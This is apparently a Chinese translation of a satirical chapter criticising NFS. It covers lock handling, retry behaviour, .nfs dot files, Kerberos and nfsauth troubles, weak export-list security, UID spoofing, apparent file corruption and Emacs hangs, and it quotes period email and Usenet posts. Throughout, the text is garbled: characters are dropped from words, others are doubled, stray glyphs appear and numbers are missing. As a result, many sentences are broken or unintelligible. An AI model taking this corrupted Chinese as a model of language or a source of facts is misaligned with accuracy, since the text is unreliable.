NFS 的 现 码 时 , 你 遇 到 各 种 拼 凑 的 破 性 码 盒 盒 都 是 了 在 一 个 无 状<br />
的 协 强 一 个 状 。<br />
捏 碎 的 饼 干 (Cookie)<br />
经 累 月 来 ,Sun 已 经 发发 现 了 NFS 的 诸 多 故 障 情 形 。Sun 的 做 法 是 修<br />
修 补补 补补 而 不 是 从 头 计 。<br />
我 们 看 看 在 某 些 常 见 情 形 NFS 的 模 型 如 何 失 效 <br />
• 实 例 ,NFS 是 无 状 的 , 但 是 了 保 证 数 据据 一 致 性 , 多 Unix<br />
系 计 的 程程 序 需 要 录 锁 。<br />
NFS 的 粗 糙 方挻 案掯 之 一 Sun 发发 明 了 一 个 网 锁 协 及 一 个 锁 服 <br />
程程 lockd。NFS 计 时 拼 命 要 避 免 的 状 和 题 , 这 个 网 锁 系 全 都<br />
备 了 。<br />
何 不 可 行 如 果 服 崩 溃 , 锁 的 状 有 能 混 乱 。 所 需 要 一 个<br />
精 心 计 的 过 程程 来 恢 复 状 。 当 然 , 当 不 让 NFS 备 状 就就 是 了<br />
不 想 要 这 种 启 的 过 程程 。 与 将将 这 种 复 杂 度 隐 藏 在 locked 程程 序 中 , 却<br />
没没 有 好 好 测 试 并 且 能 现 锁 , 不 如 将将 纳 入 协 , 好 好 测 试 并 且<br />
对 所 有 程程 序 用 。<br />
• 实 例 ,NFS 的 层 协 是 UDP, 如 果 服 不 响 , 户户 端 就就 新 发发<br />
请 求 直 到 获 得 响 。 如 果 服 在 某 个 户户 端 执执 行 耗 时 的 任 ,<br />
它 想 要 服 的 户户 端 就就 不 断 用 复 两 遍 遍 的 NFS 请 求 敲 打 服 <br />
, 而 不 是 静 地 在 队 列 中 等 待 。<br />
NFS 的 粗 糙 方挻 案掯 之 二 要 是 请 求 获 服 响 , 户户 端 就就 回 并 等<br />
待 若 毫毫 秒 , 然 再 发发 请 求 。 如 果 还 没没 有 响 , 就就 等 待 两 倍 时 间 ,<br />
然 是 四 倍 , 类 推 。<br />
何 不 可 行 题 在 于 必 每 个 NFS 服 和 每 个 网 单 独 调 整 策<br />
略 , 完 全 不 调 整 是 有 的 。 延 积 累 , 性 能 。 最 系 管 理 员<br />
怒 了 , 于 是 投 资 更 快 的 局 域 网 , 或或 者 专 线 , 或或 者 网 中 ,<br />
把把 钱 扔 去去 就就 能 奏 效 。
· · 网 络 文挱 件 系 统<br />
• 实 例 , 如 果 你 在 Unix 中 删 除 一 个 打 开 的 文 件 , 那 么 该 文 件 的 字 <br />
从 目 录 中 去去 掉 , 但 是 相 的 磁 块 要 直 到 文 件 才 回 收 。 这 种 大<br />
而 化 的 做 法 让 程程 序 建 别 人 无 法 的 文 件 ( 这 是 Unix 建 临<br />
时 文 件 的 法 二 , 外 一 种 是 使 用 mktmp() 函 数 在 /tmp 目 录 建<br />
字 包 程程 ID 的 临 时 文 件 。 哪 种 法 更 大 而 化 呢 ? 留 给 读 者 作<br />
练 吧 ), 然 而 却 没没 法 作 在 NFS 。NFS 的 无 状 协 不 知 道 文 件<br />
是 “ 打 开 的 ”, 一 删 除 文 件 就就 没没 了 。<br />
NFS 的 粗 糙 方挻 案掯 之 当 NFS 户户 端 删 除 一 个 打 开 的 文 件 , 的 效<br />
果 是 文 件 被被 改 成 诸 如 “.nfs” 类 的 搞搞 笑 字 , 而 于 <br />
字 点 开 头 , 文 件 就就 不 在 常 的 文 件 列 表表 中 出 现 。 户户 端 该 文<br />
件 , 再 发发 Delete-File 命 删 除 NFS 的 点 文 件 。<br />
何 不 可 行 如 果 户户 端 崩 溃 , 那 个 点 文 件 就就 没没 法 删 除 了 。 所 NFS 服<br />
每 夜 都 运 行 “ 清 理 ” 脚 , 搜搜 索 所 有 字 类 似 “.nfs”<br />
而 又 存 在 了 好 几 的 文 件 , 然 自 将将 删 除 。 这 就就 是 什 么 大 多 数<br />
Unix 在 凌 晨 两 点 时 突突 然 格 盒 盒 磁 在 运 行 nd 而 旋 转 。 要 是 你<br />
还 想 看 到 自 己 的 邮 件 文 件 , 最 好 不 要 在 休 假 前 让 mail(1) 程程 序 开 着<br />
( 不 开 玩 笑 !)。<br />
所 呢 , 尽 管 NFS 的 “ 无 状 ” 声 在 外 , 但 全 是 骗 人 的 。 服 全 是<br />
状 盒 盒 整 个 磁 都 是 , 每 个 户户 端 程程 有 状 , 有 NFS 协 议 是 无 状<br />
的 。 而 每 个 固 化 在 NFS“ 标 准 ” 当 中 的 粗 糙 方 案 , 企 图 掩 这 个 谎 言言 ,<br />
并 使 不 那 么 扎 眼 。<br />
没 有捯 文挱 件 安 全<br />
要 把把 你 的 计 算 机 到 网 , 某 种 程程 度 就就 是 给 每 个 满 脸 粉 刺 的 十十 岁<br />
电 脑 黑 一 个 机 翻 阅 你 的 情 书 , 乱 改 你 的 码 , 甚 至 伪 一 封封 辞 信 给<br />
你 老 板 。 你 最 好 清 楚楚 你 的 网 文 件 系 有 没没 有 某 种 内 置 的 全 机 制 来 阻<br />
这 类 攻 击 。<br />
但 是 很 不 走 运 ,NFS 不 是 全 而 计 的 , 真 情 况 是 协 中 完 全 没没<br />
管 这 个 。 要 某 个 文 件 的 物 柄 在 手手 , 你 想 怎 服 都 没没 意 见 。 想 胡 乱 涂<br />
鸦 吗 ? 来 吧 , 服 搞搞 破 的 作 站 地 址 都 没没 法 录 。<br />
MIT 的 娜 目 试 图 NFS 添 一 个 称 “ 刻 耳 柏 洛 斯 ” 的 网 <br />
全 机 制 。 字 起 得 没没 错 , 艾 伦 核 鲍 登 发发 现 这 个 杂 种 系 真 的 好 像 狗 <br />
<br />
译 注 Kerberos, 希 腊 神 中 的 地 狱 看 门 犬 。
没 有捯 文挱 件 安 全<br />
· ·<br />
期 Thu, Jan :: EST<br />
来 自 艾 伦 核 鲍 登 <br />
发发 给 UNIX 痛 者<br />
题 巫 师 和 地 狱 头 犬<br />
你 向 Unix 拥拥 趸 寻 求 建 , 但 他 从 来 不 把把 全 , 这 是 不 是 很 爽 ? 你 得 带 着 错 误 信 息 回 去去<br />
好 几 , 才 让 他 能 把把 需 要 的 信 息 “ 换 入 ” 大 脑 。<br />
举 个 例 子 当 开 始 使 用 LCS 的 Unix 机 时 , 我 发发 现 没没 法 通 过 NFS 修 改 程程 文 件 。 见 多<br />
广 的 人 告 我 需 要 拜 一 德 高 望 的 巫 师 , 请 他 把把 我 的 字 和 入 “Kerberos”<br />
的 数 据据 。 我 照 了 。 巫 师 告 我 一 切 都 妥 当 了 现 在 开 始 要 我 登 录 就就 能 自 获 得 <br />
确 的 网 权 限 。<br />
结 果 我 的 第 一 尝尝 试 失 了 , 所 又 找 到 那 个 见 多 广 的 人 。 对 了 , 我 们 告 你 要<br />
用 Kerberos 权 限 来 使 用 NFS, 你 得 运 行 nfsauth 程程 序 。<br />
好 , 然 我 修 改 了 .login 来 运 行 nfsauth。 我 小小 小小 地 不 爽 了 一 把把 , 因 nfsauth 要 求 我 列<br />
出 想 要 的 NFS 服 的 字 。 还 有 件 怪 事 ,nfsauth 不 是 运 行 一 , 而 是 待 在 <br />
直 到 你 登 出 , 看 起 来 是 要 每 隔 几 分 钟 就就 接接 续 某 些 权 限 什 么 的 。 不 过 似 一 切 都 好 了 ,<br />
所 我 回 去去 作 。<br />
个 小小 时 过 去去 了 。<br />
该 收 拾 东 西 回 家 了 , 所 我 通 过 网 保 存 文 件 。 没没 有 权 限 ,。 但 我 不 用 找 Unix 拥拥 趸 了 ,<br />
因 在 置 Kerberos 数 据据 时 , 他 们 确 警 告 我 的 Kerberos 权 限 在 小小 时 过 期捵 。<br />
他 们 甚 至 提 到 我 运 行 kinit 来 接接 续 权 限 。 所 我 运 行 kinit 并 再 输 入 字 和 。<br />
但 Unix 还 是 不 允 我 保 存 文 件 。 我 四 查 看 了 一 儿 , 发发 现 题 是 当 Kerberos 权 限 过<br />
期 ,nfsauth 崩 溃 了 。 好 吧 我 再 起 一 个 nfsauth, 再 输 入 我 在 使 用 的 所 有 NFS 服 。<br />
现 在 我 保 存 文 件 了 。<br />
不 过 呢 , 来 的 情 况 是 我 的 作 时 间 总 是 超 过 小小 时 , 所 这 些 骤 几 都 要 做 。<br />
我 在 LCS 用 Unix 的 难 难 弟 向 我 确 认 , 这 就就 是 解解 决 题 的 法 , 并 且 他 们 都 在 忍 <br />
着 。 那 么 , 我 道 , 至 少少 把把 nfsauth 的 崩 溃 题 改 掉 吧 , 它 一 直 待 着 直 到 获 得 新 的<br />
Kerberos 权 限 ? 抱抱 歉 这 没没 法 。 好 像 没没 人 知 道 nfsauth 的 源 码 在 哪 。<br />
导 出 列 表<br />
要 看 去 有 全 机 制 ,NFS 就就 能 拿 去去 卖 , 然 而 建 者 们 是 <br />
NFS 披披 貌 似 全 的 外 衣 , 而 不 是 老 老 地 现 一 个 全 的 协 。<br />
还 得 吗 , 要 是 不 向 NFS 服 出 示 magic cookie, 你 就就 不 能 文<br />
件 。 所 这 是 NFS 理 开 始 的 地 方 通 过 控 制 对 cookie 的 , 现 控 制<br />
对 文 件 的 。<br />
了 获 得 目 录 的 magic cookie, 你 得 挂 载 文 件 系 , 而 这 就就 是 生<br />
“ 全 ” 想 法 的 地 方 。 在 服 一 个 /etc/exports 的 文 件 中 , 列 出 了 导<br />
出 的 文 件 系 , 及 对 哪 些 计 算 机 见 。<br />
但 是 百 密 一 疏 , 这 没没 法 阻 程程 序 耍 流 氓 , 直 接接 测 magic cookie。<br />
情 况 , 这 种 测 不 是 很 难 行 。 即 使 在 导 出 列 表表 中 隐 藏 了 文 件 系 ,<br />
是 让 破 解解 服 的 时 间 从 几 秒 钟 增 到 几 小小 时 , 还 是 不 算 久 。 并 且 于 服<br />
的 无 状 特 性 , 一 cookie 被被 中 ( 或或 者 法 获 得 ) 就就 永永 用 了 。
· · 网 络 文挱 件 系 统<br />
在 一 个 型 的 有 火 墙 保 护 的 网 环 境 中 ,NFS 的 大 全 隐 患 不 是 外<br />
部 攻 击 盒 盒 而 是 拥拥 有 文 件 服 权 限 的 内 部 人 士 , 时 你 的 文 件<br />
和 他 们 自 己 的 文 件 。<br />
于 没没 有 状 ,NFS 服 没没 有 “ 登 录 ” 的 概概 念 。 当 然 你 登 录 了 作 站 ,<br />
不 过 NFS 服捱 器 不 知 道 啊 。 所 当 你 向 服 发发 magic cookie 请 求 读 <br />
文 件 时 , 你 得 告 服 你 的 用 户户 编 。 想 读 乔 治治 的 文 件 ? 把把 你 的 UID 改<br />
成 乔 治治 的 , 然 读 吧 。 毕 , 让 大 多 数 作 站 入 单 用 户户 模 式 是 很 简 单 的 。<br />
NFS 的 妙 处 就就 是 当 你 搞搞 了 作 站 , 你 时 搞搞 了 服 。<br />
不 想 启 作 站 入 单 用 户户 模 式 那 么 麻 烦 吗 ? 没没 题 ! 你 运 行 用 户户<br />
程程 序 向 NFS 服 发发 请 求 盒 盒 然 任 何 人 的 文 件 盒 盒 要 自 己 敲 个 <br />
行 的 C 程程 序 , 或或 者 去去 网 载 一 个 。<br />
但 还 有 别 的 。<br />
于 伪 报 文 如 简 单 , 多 NFS 服 被被 配 置 成 不 允 跨 网 使 用<br />
超 级 用 户户 。 网 来 的 超 级 用 户户 请 求 被被 自 映 射射 成 “nobody” 用 户户 , 没没 有 任<br />
何 权 限 。<br />
这 个 状 况 导 致 了 超 级 用 户户 在 NFS 网 的 权 限 比 通 用 户户 还 。 如 果<br />
你 登 录 超 级 用 户户 , 没没 有 简 易 的 法 拿 回 权 限 盒 盒 不 能 运 行 程程 序 , 不 能 输 入<br />
。 如 果 想 修 改 root 在 服 一 个 读 文 件 , 你 就就 得 去去 服 登 录<br />
盒 盒 当 然 , 除 非 你 给 服 打 补补 丁 。 月 伊 核 霍 斯 威 尔尔 总 结 了<br />
一 切 , 那 是 在 回 复 一 个 题 帖 子 , 提 的 人 试 着 在 一 计 算 机 运 行 SUID<br />
的 邮 件 投 递 程程 序 /bin/mail, 邮 件 却 都 跑 到 一 计 算 机 通 过 NFS 挂 载 的 目<br />
录 /usr/spool/mail 中 。<br />
期 Fri, Dec :: EST<br />
来 自 “ 伊 核 霍 斯 威 尔尔 ”<br />
发发 给 UNIX 痛 者<br />
题 计 算 机 的 学 , 和 Unix 神 学<br />
情 况 是 这 的 Sun 拥拥 有 这 个 潇 洒 的 网 文 件 系 , 但 不 幸 却 没没 有 任 何 成 型 的 理 来 控<br />
制 , 部 分 原原 因 是 Unix 没没 有 。Unix 有 两 个 层 凡 人 和 帝 。 帝 ( 就就 是 root)<br />
所 欲 。 题 是 网 把把 事 情 成 多 神 崇 拜 了 我 的 作 站 的 帝 把把 你 的 作<br />
站 成 一 柱 子 吗 ? 嗯 , 那 决 于 他 们 系 如 何 , 或或 者 他 们 能 就就 是 一 个 <br />
帝 。 这 是 一 个 深 刻 而 大 的 神 学 题 , 人 类 已 经 被被 困 扰 了 千千 。<br />
Sun 内 的 学 立立 场 是 允 用 户户 打 补补 丁 的 , 那 有 个 多 神 的 片 段 做 “nobody”。 当<br />
网 有 来 自 root( 就就 是 帝 ) 的 文 件 请 求 , 就就 将将 来 源 映 射射 内 “nobody”<br />
的 数 值 ( 在 系 发发 布 时 该 是 -, 按按 照 惯 例 这 不 表表 示 任 何 用 户户 ), 而 不 是 帝 的 二 <br />
制 表表 示 , α 。 这 种 初 始 状 况 差 不 多 就就 像 希 腊 神 的 诸 神 殿 , 有 多 帝 彼 来<br />
<br />
译 注 《 圣 经 核 约 核 世 》 载 , 帝 要 毁 灭 民民 风 堕 落 的 城 邑 索 多 玛 , 罗 得 携携 家 人 出 , 途 中 他<br />
的 妻 子 因 背 诫 命 回 头 张 望 而 成 了 一 柱 。
与 文挱 件 系 统 无捂 关 ( 还 是捔 有捯 点 相 关 )?<br />
· ·<br />
去去 ( 既 是 比 喻 是 情 )。 然 而 , 通 过 adb 置 神 圣 启 映 像 中 的 内 “nobody”<br />
的 值 , 你 就就 能 来 到 巴 哈 伊 教 的 学 , 那 各 色 帝 都 是 唯 一 真 神 ,, 的 化 身 ,<br />
一 神 出 现 了 。<br />
这 当 唯 一 真 神 的 化 身 ,/bin/mail, 想 要 让 一 神 Unix 的 程程 服 建 一 个 邮 箱<br />
时 , 就就 能 调 用 神 圣 的 “ 修 改 所 有 者 ” 命 让 邮 箱 世 俗 一 些 , 于 是 在 你 触触 碰 才 不 起<br />
火 , 你 不 朽 的 灵 魂 不 被被 打 入 地 狱 。 而 在 多 神 的 Unix , 神 圣 的 /bin/mail 不 再 神<br />
圣 , 所 你 的 邮 件 文 件 是 “nobody” 建 的 , 而 当 /bin/mail 调 用 神 圣 的 修 改 所 有 者 命<br />
时 , 却 了 检 查 返 回 的 错 误 值 , 自 永永 不 出 错 。<br />
所 呢 , 要 么 给 文 件 服 的 内 打 补补 丁 , 要 么 到 服 去去 运 行 sendmail。<br />
盒 盒 伊 <br />
a 帝 然 用 二 制 表表 示 , 这 再 清 楚楚 地 指指 明 了 Unix 浓 厚厚 的 神 秘秘 义 色 彩 。 或或 ,<br />
Unix 的 作 者 就就 是 阿 莱 斯 特 核 克 利 ( 译 注 Aleister Crowley, 月 ~ <br />
月 , 英 国 一 将将 魔 法 理 付 诸 践 的 仪 式 魔 法 师 。) 的 弟 子 。<br />
与 文挱 件 系 统 无捂 关 ( 还 是捔 有捯 点 相 关 )?<br />
NFS 的 计 者 认 他 们 计 的 是 一 个 网 操 作 系 , 既 作 在 Unix<br />
外 的 操 作 系 , 作 在 UFS 外 的 文 件 系 。 不 幸 的 是 在 销<br />
售 最 初 现 前 , 他 们 没没 有 验 证 这 个 信 仰 , 结 果 把把 协 搞搞 成 了 无 法 修 改 的 标<br />
准 。 今 我 们 被被 套 牢 了 。 尽 管 在 微 型 计 算 机 , 比 如 DOS PC 和 麦 金 塔 ,NFS<br />
服 和 户户 端 确 都 现 了 , 但 都 作 得 不 好 是 情 。<br />
期 Fri, Dec :: EST<br />
来 自 tim@hoptoad.uucp( 提 姆 核 马 隆 尼 )<br />
题 回 复 NFS 和 麦 金 塔 二 电 脑<br />
新 闻 组 comp.protocols.nfs,comp.sys.mac <br />
或或 有 人 对 感 趣 , 自 从 被被 收 购 成 Sun 旗 ,TOPS 就就 计 划 要 开 发发 麦 金 塔 NFS 并<br />
替 目 前 的 品 TOPS。 去去 这 个 尝尝 试 被被 放 了 。 要 在 麦 金 塔 文 件 系 开 发发 秀<br />
的 NFS 服 或或 户户 端 , 技 术 障 碍 在 是 多 了 。RPC 模 型 强 的 效 率 限 制 是 一 个 要<br />
原原 因 ,NFS 协 缺 灵 活 性 是 外 一 个 。<br />
TOPS 和 Sun 谈 判 过 , 于 修 改 NFS 协 使 能 和 麦 金 塔 文 件 系 和 谐 共 处 , 但 是 这 些<br />
谈 判 于 Sun 的 不 作 而 不 了 了 。<br />
NFS 协 如 果 没没 有 翻 地 覆 的 化 , 秀 的 麦 金 塔 NFS 品 就就 没没 戏 , 但 这 些 化 不 发发<br />
生 。<br />
我 不 是 想 在 这 喋 喋 不 休 , 但 事 就就 是 这 NFS 不 跨 越 不 操 作 系 的 环 境 。 在<br />
Unix 系 间 NFS 作 得 很 好 , 在 Unix 和 极 简 单 的 MS-DOS 文 件 系 间 还 ,<br />
但 如 果 涉 及 复 杂 的 文 件 系 例 如 麦 金 塔 和 VMS 就就 不 行 了 。 要 强 行 使 作 ,<br />
<br />
译 注 十十 世 纪 中 立立 于 伊 朗 的 教 , 个 心 原原 简 单 表表 述 帝 唯 一 、 教 源 和 人 类 一<br />
家 。<br />
<br />
译 注 Tim Maroney。<br />
理 查 德 核 马 纳 利 克 转 发发 到 UNIX 痛 者 , 带 “ 这 件 事 多 人 ( 但 不 是 那 些 新 闻 网 的 活<br />
跃 分 子 ) 几 前 就就 知 道 了 。“
· · 网 络 文挱 件 系 统<br />
是 难 度 很 大 , 并 且 用 户户 感 觉 到 明 显 的 性 能 。 认 NFS 生 就就 能 跨 越 OS 是 观<br />
的 Sun 程程 师 的 一 个 ( 尽 管 很 真 诚 的 ) 想 在 没没 有 完 成 任 何 非 Unix 现 的 情 况 ,<br />
于 协 的 这 个 观 点 就就 被被 散 布 出 去去 了 。<br />
提 姆 核 马 隆 尼 , 麦 金 塔 件 ,tim@toad.com<br />
疑 似 文挱 件 损拮 坏<br />
有 什 么 比 网 文 件 系 损 你 的 文 件 更 好 的 事 情 ? 文 件 系 没没 有 真 的<br />
损 文 件 , 是 让 它 们 看 起 来掆 坏 了 。NFS 时 不 时 地 搞搞 出 这 种 事 情 。<br />
期 Fri, Jan :: EST<br />
来 自 curt@ai.mit.edu( 柯 蒂 斯 核 芬 内 尔尔 ) <br />
发发 给 all-ai@ai.mit.edu<br />
题 回 复 NFS 的 题<br />
如 你 们 大 都 知 道 的 , 于 Sun 操 作 系 的 一 个 缺 陷 , 我 们 的 NFS 在 出 题 。 这 个 缺<br />
陷 导 致 通 过 NFS 挂 载 的 文 件 貌 似 已 经 被被 放 回 收 站 , 但 文 件 一 切 常 。 我 们 已 经 采<br />
了 推 荐 的 纠 骤 , 但 是 在 Sun 提 供 补补 丁 前 , 题 还 是 不 时 发发 生 。<br />
题 的 现 象 是 <br />
当 你 登 录 或或 者 文 件 , 文 件 内 容 看 起 来 全 乱 了 或或 者 完 全 是 外 一 个 文 件 。 登 录 时 你<br />
的 .login 文 件 能 影 响 , 你 要 么 看 见 不 的 提 示 符 , 要 么 看 到 错 误 消 息 你 没没 有 登<br />
录 需 要 的 文 件 或或 目 录 。 这 是 因 系 载 入 了 错 误 的 网 文 件 指指 针 。 你 的 文 件 身 该 时<br />
好 的 , 是 看 着 乱 了 。<br />
如 果 你 遇 到 这 个 题 , 第 一 件 事 情 是 在 服 检 查 文 件 是 否 确 。 你 直 接接 登 录 文<br />
件 所 在 的 服 并 查 看 。<br />
如 果 你 发发 现 你 的 文 件 在 户户 端 被被 放 了 回 收 站 , 但 在 服 没没 有 , 你 需 要 做 的 事 情<br />
就就 是 登 出 然 新 登 录 。 情 况 该 就就 常 了 。 千 万 不 要 在 户户 端 删 除 回 收 站 的<br />
文 件 , 你 有 能 影 响 到 服 的 常 文 件 。<br />
补补 丁 该 很 快 就就 到 , 时 请 尝尝 试 我 推 荐 的 骤 。 如 果 还 是 不 行 或或 者 你 有 题 , 随 时 找 我 。<br />
盒 盒 柯 特<br />
NFS 悄 无 声 息 地 损 文 件 , 一 个 原原 因 是 NFS 缺 省 了 UDP 的 校 验 和<br />
错 误 检 查 。 得 通 , 对 不 对 ? 毕 计 算 校 验 和 很 花 时 间 , 再 网 一 般 是 <br />
的 , 至 少少 在 和 NFS 的 计 拍 板 时 , 最 好 的 网 是 这 的 。<br />
人 们 认 NFS 懂 得 文 件 和 目 录 的 区 别 。 但 很 不 幸 ,NFS 的 不 版 间<br />
的 交 互 方 式 很 怪 , 有 时 候 成 人 解解 的 结 果 。<br />
期 Tue, Jan :: EST<br />
来 自 朱 迪 核 德 森森 <br />
发发 给 UNIX 痛 者<br />
题 Unix/NFS 又 了 这 种 事 …盚…盚<br />
戴 维 核 查 曼 转 发发 到 UNIX 痛 者 。
与 文挱 件 系 统 无捂 关 ( 还 是捔 有捯 点 相 关 )?<br />
· ·<br />
boston-harbor% rmdir foo<br />
rmdir: foo: Not a directory<br />
boston-harbor% rm foo<br />
rm: foo is a directory<br />
嗯 ? 那 怎 么 ?<br />
所 <br />
boston-harbor% mkdir foo<br />
boston-harbor% cat > foo<br />
我 确 看 到 一 cat 命 的 错 误 信 息 , foo 是 一 个 目 录 所 不 能 用 来 输 出 。 但 是 ,<br />
于 NFS 的 魔 术 ,cat 还 是 删 除 了 目 录 , 然 建 了 一 个 空空 文 件 用 来 输 出 。<br />
当 然 , 如 果 目 录 有 文 件 , 它 们 就就 去去 爪 哇 国 了 。 噢 噢 噢 。 这 让 我 的 一 舒 畅 多 了<br />
…盚…盚 真 是 个 计 精 妙 的 计 算 机 系 啊 。<br />
yduJ( 朱 迪 核 德 森森 )<br />
‘yduJ 盖 和 ‘fudge 盖 押 韵<br />
yduJ@lucid.com<br />
系 统 定 格掫 !<br />
NFS 经 常 让 你 的 计 算 机 在 读 时 停 。 这 种 事 情 在 各 种 场 各 种 NFS 版<br />
都 发发 生 过 。 有 时 候 因 文 件 系 是 硬 挂 载<br />
<br />
的 但 是 服 崩 溃 了 , 那 <br />
什 么 不 用 挂 载<br />
<br />
呢 ? 因 这 的 , 如 果 服 负 载 高 ,NFS 写 回 缓 存<br />
题 就就 成 文 件 损 。<br />
在 别 的 时 候 , 某 些 程程 序 想 给 系 调 用 creat() 传 入 POSIX 标 准 的 “ 独 占 <br />
建 ” 标 , 这 成 NFS 失 去去 响 。GNU Emacs 就就 是 这 一 个 程程 序 。<br />
是 当 你 想 通 过 NFS 挂 载 目 录 /usr/lib/emacs/lock 时 发发 生 的 事 情 <br />
期 Wed, Sep :: GMT<br />
来 自 meuer@roch.geom.umn.edu( 马 克 核 莫 伊 尔尔 )<br />
组 明 尼 苏 达 超 级 计 算 学 院 <br />
发发 给 help-gnu-emacs@prep.ai.mit.edu <br />
题 回 复 NeXT Emacs 文 件 搜搜 索 延 <br />
在 文 当 中 ,meuer@roch.geom.umn.edu( 马<br />
克 核 莫 伊 尔尔 ) 写 道 <br />
<br />
译 注 网 文 件 系 的 挂 载 方 式 , 当 文 件 请 求 失 时 自 试 直 至 超 时 。<br />
<br />
译 注 网 文 件 系 的 挂 载 方 式 , 当 文 件 请 求 失 时 立立 即 向 户户 端 报 告 。<br />
<br />
译 注 Mark V. Meuer。<br />
<br />
译 注 Minnesota Supercomputer Institute。<br />
<br />
译 注 迈 克 尔尔 核 泰 曼 转 发发 到 UNIX 痛 者 。
· · 网 络 文挱 件 系 统<br />
我 有 NeXT, 系 的 版 是 .。 我 们 运 行 着 Emacs .( 请 别 让 我<br />
们 升 级 到 ., 除 非 你 有 这 两 个 版 的 差 , 或或 者 至 少少 有 NeXT 的 s- 和<br />
m- 文 件 )。 我 们 的 网 有 若 机 , 我 们 使 用 黄 页 。 题 是 每 当 我 想<br />
搜搜 索 一 个 文 件 ( 输 入 “C-X C-f”,“emacs file”, 或或 者 通 过 户户 端 和 服 通<br />
信 ),Emacs 就就 停 到 秒 。 然 文 件 被被 载 入 , 一 切 恢 复 常 。 有 大 约<br />
十十 分 一 的 机 文 件 立立 即 被被 载 入 而 没没 有 延 。<br />
多 人 发发 给 我 建 ( 谢 谢 你 们 !), 但 最 斯 科 特 核 贝 蒂 尔尔 松 解解 释 并 纠 了 这 个 烦 人 的<br />
延 , 他 是 一 在 这 个 中 心 作 的 真 的 聪 明 人 。<br />
那 些 经 历 过 这 个 题 的 人 们 , 快 的 解解 决 法 是 让 /usr/lib/emacs/lock 成 /tmp 的 一 个<br />
符 接接 。 完 整 解解 释 如 。<br />
我 曾 经 发发 现 在 /usr/lib/emacs/lock 有 个 文 件 做 !!!SuperLock!!!, 而 在 题 出 现 时 这 个<br />
文 件 是 存 在 的 , 反 ( 通 常 ) 没没 有 题 。<br />
我 们 找 到 了 导 致 题 的 码 片 段 。 当 想 要 打 开 一 个 文 件 来 编 辑 时 ,Emacs 试 图 独 占 方<br />
式 建 锁 文 件 , 如 果 失 就就 再 尝尝 试 , 每 尝尝 试 前 有 一 秒 的 延 。 Emacs<br />
将将 锁 文 件 丢 开 不 管 , 并 直 接接 打 开 用 户户 想 要 的 文 件 如 果 成 的 就就 打 开 用 户户 文 件 并 立立 即<br />
删 除 锁 文 件 。<br />
我 们 遇 到 的 题 是 通 过 NFS 挂 载 /usr/lib/emacs/lock, 而 NFS 明 显 并 像 人 们 计 的 一<br />
处 理 独 占 建 。 这 个 调 用 创 建 了 文挱 件 但 却 返 回 失 败 。 于 Emacs 认 锁 文 件 并 建<br />
成 , 所 不 去去 删 除 , 但 文 件 确 已 经 被被 建 了 , 所 要 再 打 开 文 件 , 就就 遇<br />
到 这 个 锁 文 件 , 导 致 在 行 一 前 Emacs 被被 迫 完 成 那 个 秒 的 循 环 。 这 就就 是 题<br />
的 源 。<br />
我 们 的 临 时 方 案 是 让 /usr/lib/emacs/lock 成 /tmp 的 符 链 接接 , 所 总 是 指指 向 一 个 地<br />
文 件 系 , 从 而 避 开 了 NFS 独 占 建 能 的 缺 陷 。 我 知 道 这 肯 是 治治 标 不 治治 , 但 目 前<br />
效 果 还 好 。<br />
感 谢 所 有 回 了 我 的 求 的 人 。 知 道 网 有 这 么 多 好 人 感 觉 真 不 错 。<br />
当 有 任 何 程程 序 需 要 获 得 当 前 目 录 字 时 ,NFS 失 去去 响 的 题 就就 更 突突<br />
出 了 。<br />
Unix 仍 然 没没 有 提 供 简 单 的 方 式 让 程程 找 出 “ 当 前 目 录 ”。 如 果 你 于<br />
当 前 目 录 “.”, 找 出 字 的 唯 一 法 时 打 开 中 的 “..” 盒 盒 是 级 目<br />
录 盒 盒 然 在 中 搜搜 索 和 当 前 目 录 “.” 有 inode 编 的 目 录 。 那 就就 是 你<br />
想 要 的 字 ( 注 意 这 个 过 程程 对 作 符 链 接接 目 标 的 目 录 无 效 )。<br />
走 运 的 是 过 程程 被被 函 数 getcwd() 自 完 成 了 倒 霉 的 是 发发 起 调 用 的 程程<br />
序 意 外 失 去去 响 。 ,MIT 人 智 能 验 的 卡 尔尔 核 R 核 曼 宁<br />
<br />
被被<br />
这 个 题 咬 了 一 。<br />
期 Wed, Dec : EST<br />
来 自 杰 瑞 核 罗 伊 兰 斯 <br />
发发 给 CarlManning@ai.mit.edu <br />
<br />
译 注 Scott Bertilson。<br />
<br />
译 注 Carl R. Manning。<br />
<br />
译 注 Jerry Roylance。<br />
斯 蒂 芬 核 罗 斯 转 发发 到 UNIX 痛 者 。
与 文挱 件 系 统 无捂 关 ( 还 是捔 有捯 点 相 关 )?<br />
· ·<br />
抄抄 SYSTEM-HACKERS@ai.mit.edu、SUN-FORUM@ai.mit.edu<br />
题 Emacs 需 要 所 有 文 件 服 吗 ?( 前 的 题 AB 线 了 )<br />
期 Wed, Dec : EST<br />
来 自 卡 尔尔 核 R 核 曼 宁 <br />
我 是 好 , 要 有 任 何 文 件 服 线 ,Emacs 就就 不 能 启 ( 例 如 在<br />
rice-chex ), 这 原原 因 到 是 什 么 ? 比 如 最 近 AB 和 WH 于 磁 题<br />
线 了 , 就就 算 不 想 AB 或或 WH 的 任 何 文 件 , 我 在 RC 没没 法 启 <br />
Emacs。<br />
Sun 脑 残 呗 。Emacs 调 用 getcwd, 者 遍 历 /etc/mtab 中 挂 载 的 文 件 系 , 要 中 任 何<br />
一 个 没没 响 ,Emacs 就就 等 待 直 到 超 时 。 在 RC 这 的 用 机 , 文 件 系 走 神 是 很 <br />
常 的 ( 启 RC 能 解解 决 题 )。<br />
启 rice-chex 能 解解 决 题 , 嗬 ! 但 愿 你 没没 在 这 机 做 什 么<br />
要 紧 的 事 情 。<br />
不 支挠 持拟 多 种 架掖 构掎<br />
计 Unix 的 世 界 是 整 齐 划 一 的 , 然 而 维 持 这 的 世 界 ( 甚 至 在 所 有 <br />
机 都 来 自 一 厂厂 商 的 情 况 ) 需 要 惊 人 复 杂 的 挂 载 表表 和 文 件 系 结 构 , 即 便<br />
如 某 些 目 录 ( 例 如 /usr/etc) 还 是 混 着 特 于 架 构 或或 依 赖 于 架 构 的 文 件 。<br />
NFS 和 别 的 网 文 件 系 ( 例 如 德 鲁 文 件 系 ) 不 一 , 对 于 不 户户 端<br />
能 在 文 件 系 的 一 个 置 “ 看 到 ” 不 文 件 这 一 事 毫毫 无 准 备 Unix <br />
和 别 的 操 作 系 ( 例 如 Mach) 不 一 , 无 法 将将 多 种 架 构 特 的 目 标 模 块 放<br />
一 个 文 件 。<br />
你 看 到 成 了 什 么 题 <br />
期 Fri, Jan : CST<br />
来 自 克 斯 核 格 斯 <br />
